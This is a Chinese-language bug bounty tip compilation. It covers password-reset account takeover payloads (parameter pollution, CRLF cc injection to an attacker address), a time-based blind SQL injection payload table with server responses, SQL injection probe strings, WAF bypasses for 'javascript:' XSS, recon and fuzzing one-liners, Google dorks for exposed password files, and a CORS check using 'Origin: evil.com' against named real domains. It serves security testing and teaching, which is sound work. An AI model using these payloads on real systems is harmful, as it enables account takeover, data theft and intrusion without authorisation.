目录导航
1.在密码重置中使用辅助电子邮件接收帐户
通过@infosecsanyam
来源:链接
通过向该应用程序提供其他辅助电子邮件,该技巧可以帮助您发现Web应用程序的密码重置功能中的帐户接管漏洞。尝试以下有效负载:
GET /passwordreset
- 双参数(又名HPP / HTTP参数污染):
[email protected]&[email protected]
- 复本:
[email protected]%0a%0dcc:[email protected]
- 使用分隔符:
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected] - 没有网域:
email=victim
- 没有TLD(顶级域):
email=victim@xyz
- JSON表:
{"email":["[email protected]","[email protected]"]}
Web应用程序可能会接受辅助电子邮件地址([email protected] ),并因此将重置链接发送到这两封电子邮件。
2.绕过导致SQL注入(JSON)的电子邮件过滤器
通过@HackENews
来源:链接
这是另一个提示,可以帮助测试密码重置功能。
使用以下具有非典型电子邮件地址格式的payloads示例,作者能够在Web应用程序中找到SQL注入:
Payloads | 结果 | 注入状态 | 描述 |
---|---|---|---|
{“email”:”[email protected]”} | {“code”:2002,”status”:200,”message”:”Email not found.”} | 有效 | |
{“email”:”asd [email protected]”} | {“code”:2002,”status”:200,”message”:”Bad format”} | 无效 | |
{“email”:”\”asd a\”@a.com”} | {“code”:2002,”status”:200,”message”:”Bad format”} | 无效 | |
{“email”:”asd(a)@a.com”} | {“code”:2002,”status”:200,”message”:”Bad format”} | 无效 | |
{“email”:”\”asd(a)\”@a.com”} | {“code”:2002,”status”:200,”message”:”Email not found.”} | 有效 | |
{“email”:”asd’[email protected]”} | {“code”:0,”status”:500,”message”:”Unspecified error”} | 无效 | |
{“email”:”asd’or’1’=’[email protected]”} | {“code”:2002,”status”:200,”message”:”Email not found.”} | 有效 | |
{“email”:”a’-IF(LENGTH(database())>9,SLEEP(7),0)or’1’=’[email protected]”} | {“code”:2002,”status”:200,”message”:”Bad format”} | 无效 | |
{“email”:”\”a’-IF(LENGTH(database())>9,SLEEP(7),0)or’1’=’1\”@a.com”} | {“code”:0,”status”:200,”message”:”Successful”} | 有效 | 延迟: 7854ms |
{“email”:”\”a’-IF(LENGTH(database())=10,SLEEP(7),0)or’1’=’1\”@a.com”} | {“code”:0,”status”:200,”message”:”Successful”} | 有效 | 延迟: 8696ms |
{“email”:”\”a’-IF(LENGTH(database())=11,SLEEP(7),0)or’1’=’1\”@a.com”} | {“code”:0,”status”:200,”message”:”Successful”} | 有效 | 无延迟 |
在本示例中,作者可以确定数据库名称的长度为10个字符,作为概念证明。通过使用Sqlmap将其自动化,可以转储整个数据库,甚至可以实现RCE并获得shell程序,具体取决于数据库后端。
请注意,SQL注入是通过将引号(“)放在at(@)字符之前触发的,此处:
- “injection_here”@example.com
带引号的电子邮件地址是有效的电子邮件地址,请参阅RFC3696中对电子邮件地址的限制。
另请参阅相关提示BBT2-8和BBT5-11也使用非典型的电子邮件地址格式。
3.100%识别SQL注入的测试
通过@HackENews
来源:链接
如果存在以下情况,这是100%找到SQL注入的方法:
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||' <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
针对以下情况使用这些模式:
- http://target.com/?q=HERE
4.在在线沙箱数据库中测试SQL注入
通过@hackerscrolls
来源:链接
您是否发现了困难的SQL注入并想在真实的DB上对其进行调试?但是您没有时间启动真正的数据库实例吗?
使用以下网站检查不同数据库中的语法和可用的SQL命令:
- SQL提琴(sqlfiddle.com)
- DB小提琴(db-fiddle.com)
- EverSQL(eversql.com)
所有这些站点都提供了一个在线沙盒数据库,用于测试SQL查询。以下是每个站点上可用的数据库:
SQL Fiddle支持:
- 甲骨文
- SQLite
- MySQL
- PostgreSQL
- MS SQL Server 2017
DB Fiddle支持:
- MySQL
- SQLite
- PostgreSQL
(多个版本)
EverSQL支持:
- Oracle
- MySQL
- MariaDB
- PostreSQL
- MS SQL Server
- Percona Server
- Amazon Aurora MySQL
如果您必须调试SQL注入或优化查询,这将非常有用!
5.在XSS中绕过WAF阻止“ javascript:”
由@SecurityMB(由@intigriti编译)
来源:链接
您是否正在通过“ javascript:”测试XSS,但已被WAF(Web应用程序防火墙)阻止了?尝试以下旁路。
- 在中间添加任意数量的\n,\t或\r,例如:
java\nscript:
- 在开头添加\x00- \x20中的字符,例如:
\x01javascript:
- 随机化大小写,例如:
jaVAscrIpt:
为什么这些可以工作?前两个示例在有效载荷字符串中添加了不可打印的字符,例如SOH,STX,ETX,EOT,ENQ,ACK,BEL,退格键,转义键等。这些是ASCII表开头的特殊终端控制字符(见man ascii)。
WAF可能会以“二进制方式”与不可打印字符一起处理有效负载字符串。希望这将导致WAF过滤规则不匹配任何内容,而实际的Web应用程序会将其作为文本处理-不含那些不可打印的特殊字符。
这些WAF旁路技术非常方便!尝试使用它们来混淆负载的任何部分,而不仅仅是“ javascript:”部分。
6.未经许可的Burp Pro(ffuf)的Burp入侵者
由@InsiderPhD(由@intigriti编译)
来源:链接
如您所知,如果您使用的是Burp Suite的免费版本(社区版),则在使用“入侵者”工具时会有速度限制。入侵者的攻击速度大大降低,每个请求的攻击速度越来越慢。
使用ffuf,您可以轻松克服此限制,并通过Burp充分利用。只需在Burp中关闭Proxy Interception,然后使用您的单词表运行ffuz,如下所示:
ffuf -c -w ./wordlist.txt -u https://target/FUZZ -replay-proxy http://localhost:8080
这将启动ffuf并重放Burp中所有匹配的(非404)结果,并在HTTP历史记录的“代理”选项卡中显示该结果:

请注意,ffuf还具有-x
(HTTP代理URL)选项,该选项将导致所有请求都通过Burp,而不仅仅是匹配的请求:
ffuf -c -w ./wordlist.txt -u https://target/FUZZ -x http://localhost:8080
然后,您将看到Burp中显示所有请求。
从理论上讲,wufzz和其他类似工具的流量也可以通过代理获得类似的效果。如果您没有Burp Pro,但真的想快速操作,那这就太好了!
这是获取ffuf的地方:
7.如何快速识别会话无效问题
通过@Begin_hunt
来源:链接
这是快速提示,可以快速找到注销后Web应用程序是否正确使会话无效,或者是否存在任何缓存控件安全性问题:
- 登录到应用程序
- 浏览页面
- 登出
- 按(Alt +左箭头)按钮
- 如果您已登录或可以查看用户之前浏览的页面,请给自己拍拍手。
此类应用程序行为可能表明至少有一个P4错误,其根本原因是:
- 会话无效(注销后cookie仍然有效)
- 缺乏安全头
- 不安全的缓存控件
这类错误在学校,图书馆,网吧和类似场所(通常经常被多人重复使用计算机)中构成安全风险。
如果某人正在浏览一个包含敏感信息的重要页面并注销,则另一个人会来回单击(因为第一个人没有关闭浏览器),因此可能会暴露敏感数据。
8.通过httpx轻松获取公开信息
通过@ Alra3ees
来源:链接
使用httpx,我们可以轻松地识别主机列表是否暴露了一些有趣的终结点,例如服务器状态页面,诊断Web控制台或某些其他包含敏感信息的信息页面。这是三个有趣的情况:
1)检查是否有任何主机公开了Apache服务器状态页面:
cat hosts.txt | httpx -path /server-status?full=true -status-code -content-length
2)检查是否有任何主机公开了JBoss Web控制台:
cat hosts.txt | httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -path /web-console/ -status-code -content-length
3)检查是否有任何主机公开了phpinfo调试页面:
cat hosts.txt | httpx -path /phpinfo.php -status-code -content-length -title
所有这些情况都可以提供有价值的信息,包括有关目标系统,其配置的敏感信息,公开物理文件路径位置,内部IP地址以及许多其他内容。
Protip:我们可以检查更多的端点(URI)。看一下专用的Content-discovery github存储库,其中将使用这些特定的单词表来识别上述三种情况:
- https://github.com/imrannissar/Content-discovery/blob/master/quickhits.txt(2376个条目)
- https://github.com/imrannissar/Content-discovery/blob/master/cgis.txt(3388个条目)
- https://github.com/imrannissar/Content-discovery/blob/master/combined.txt(8887个条目)
- https://github.com/imrannissar/Content-discovery/blob/master/content_discovery_all.txt(373535个条目)
9.侦查导致暴露的调试端点
通过@_justYnot
来源:链接
这是一篇关于如何进行适当侦察的有见地的bug赏金文章。在这种情况下,作者能够找到敏感的信息披露问题。我们可以在这里学习一些技巧,并了解错误搜寻者的想法。
这是@_justYnot完全执行的操作:
- 运行
subfinder -d target.com | httprobe -c 100 > target.txt
有大约210个子域。 - 运行
cat target.txt | aquatone -out ~aquatone/target
以捕获Web屏幕截图。 - 检查每个屏幕截图,找到一个有趣的子域。
- 尝试过一些低级漏洞XSS,开放式重定向等,但没有任何效果。
- 然后,他决定强行使用目录,他使用了ffuf和@DanielMiessler SecLists中的单词列表之一。
- 运行
ffuf -w path/to/wordlist.txt -u https://sub.target.com/FUZZ -mc all -c -v
- 一段时间后,他得到了一个暴露的端点,
/debug/pprof
其中包含很多敏感信息,例如调试信息,跟踪信息等。 - 向公司报告了此问题,他们迅速修复并承认他的工作!
这是为什么进行详细而彻底的侦察如此重要的一个完美例子。
发现公开的调试终结点可以为攻击者提供有关远程系统内部工作的详细信息,然后可将其用于更直接的攻击。
这里是所有提到的工具的链接:
- https://github.com/projectdiscovery/subfinder
- https://github.com/danielmiessler/SecLists
- https://github.com/michenriksen/aquatone
- https://github.com/tomnomnom/httprobe
- https://github.com/ffuf/ffuf
10.使用带有Amass的ASN查找子域
这是使用OWASP Amass工具查找目标组织的子域的强大提示:
amass intel -org yahoo -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500
该命令将详细执行以下操作:
- 获取目标组织(例如yahoo)的ASN(自治系统编号)列表
- 仅提取一个AS编号列表,并用逗号分隔
- 对于每个标识的ASN,查找与ASN关联的域名列表
Amass在攻击表面映射方面具有非常强大的功能。它使用许多不同的第三方API和数据源来实现其功能。

这是获取Amass的地方:
11.使用httpx和subjs查找JavaScript文件
JavaScript可以隐藏很多宝贵的信息,API,令牌,子域等。
我们如何轻松获得托管在目标域(和子域)上的JavaScript文件的列表?检查此超级有用的单线:
cat domains | httpx -silent | subjs | anew

如此简单!
该命令将遍历所有指定的域,尝试访问它们并产生有效的(实时)URL。然后,subjs工具将发挥作用,并从URL中提取所有JavaScript链接。
要使此组合正常工作,您需要满足以下条件:
- https://github.com/projectdiscovery/httpx
- https://github.com/tomnomnom/anew
- https://github.com/lc/subjs
12.解压缩暴露的JavaScript源映射文件
通过@ nullenc0de
来源:链接
这是一个很酷的技巧,可以找到公开的JavaScript源映射文件并从中提取敏感信息:
- 查找JavaScript文件
- 运行
ffuf -w js_files.txt -u FUZZ -mr "sourceMappingURL"
以标识已定义源映射的JavaScript文件 - 下载源地图
- 使用unmap在本地解压缩
- 浏览配置或仅grep获取API密钥/凭据
什么是JavaScript源映射文件?JavaScript源映射文件是调试文件,其中包含已部署的JavaScript代码(捆绑)的原始,未压缩(“未精简”),未混淆(“ unggified”)源代码。这些文件可帮助开发人员远程调试其代码。
现在,通常在JavaScript文件的末尾指定源映射的路径,例如timepickerbundle.js会在末尾指定:
... js code ...
//# sourceMappingURL=timepickerbundle.js.map
使用取消映射工具,我们可以将这些文件解压缩为原始格式,目录结构并在本地浏览。
但是请记住,JavaScript源映射文件绝对不能在生产站点上公开(上传),因为它们可能包含敏感信息。因此,您很有可能只会得到一堆404,而没有任何东西可以解压。
13.列出14个Google dorks进行侦察
通过@ drok3r
来源:link1,link2,link3,link4,link5,link6,link7
以下是14个有趣的Google dorks汇编,它们可以帮助我们对目标域名进行调查,也可以找到一些简单的方法:
# 登录面板搜索
site:target.com inurl:admin | administrator | adm | login | l0gin | wp-login
# 登录面板搜索2
intitle:"login" "admin" site:target.com
# 管理面板搜索
inurl:admin site:target.com
# 搜寻目标暴露的文件
site:target.com ext:txt | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:mdb
#找到目录(索引)
intitle:"index of /" Parent Directory site:target.com
# 搜索公开的管理目录
intitle:"index of /admin" site:target.com
# 搜索暴露的密码目录
intitle:"index of /password" site:target.com
# 搜索目录与邮件
intitle:"index of /mail" site:target.com
# 搜索包含密码的目录
intitle:"index of /" (passwd | password.txt) site:target.com
# 搜索包含.htaccess的目录
intitle:"index of /" .htaccess site:target.com
# 搜索带有密码的.txt文件
inurl:passwd filetype:txt site:target.com
# 搜索可能敏感的数据库文件
inurl:admin filetype:db site:target.com
#搜索日志文件
filetype:log site:target.com
# 搜索链接到我们目标的其他网站
link:target.com -site:target.com
确实可能非常有用!
Protip:也可以尝试以下免费的优秀资源:
- Pentest-Tools维护的Google Hacking工具。
- Google黑客数据库由Offensive Security维护。
14.查找易受CORS攻击的Web服务器
以下一线式能够识别目标域名下的任何子域是否容易受到基于跨域资源共享(CORS)的攻击:
assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin: evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n3[0;32m[VUL TO CORS] 3[0m{}"' 2>/dev/null
该命令的详细信息如下:
- 收集目标域的子域(例如fitbit.com)
- 识别有效(活动)子域并生成URL列表
- 访问每个URL,并在每个请求中包含“ Origin:evil.com” HTTP标头
- 在回复标题中查找“ evil.com”
- 如果匹配,将其输出

如果我们看到类似的信息,则意味着所标识的站点配置了错误的CORS策略,并有可能向任何任意第三方网站泄露敏感信息。这包括会话cookie,API密钥,CSRF令牌和其他敏感数据。
有关CORS攻击的更多信息,请参阅带有PortSwigger的示例的CORS安全教程。
为了使此组合起作用,请安装以下工具:
- https://github.com/tomnomnom/assetfinder
- https://github.com/projectdiscovery/httpx
- https://github.com/shenwei356/rush
非常感谢所有作者分享的提示: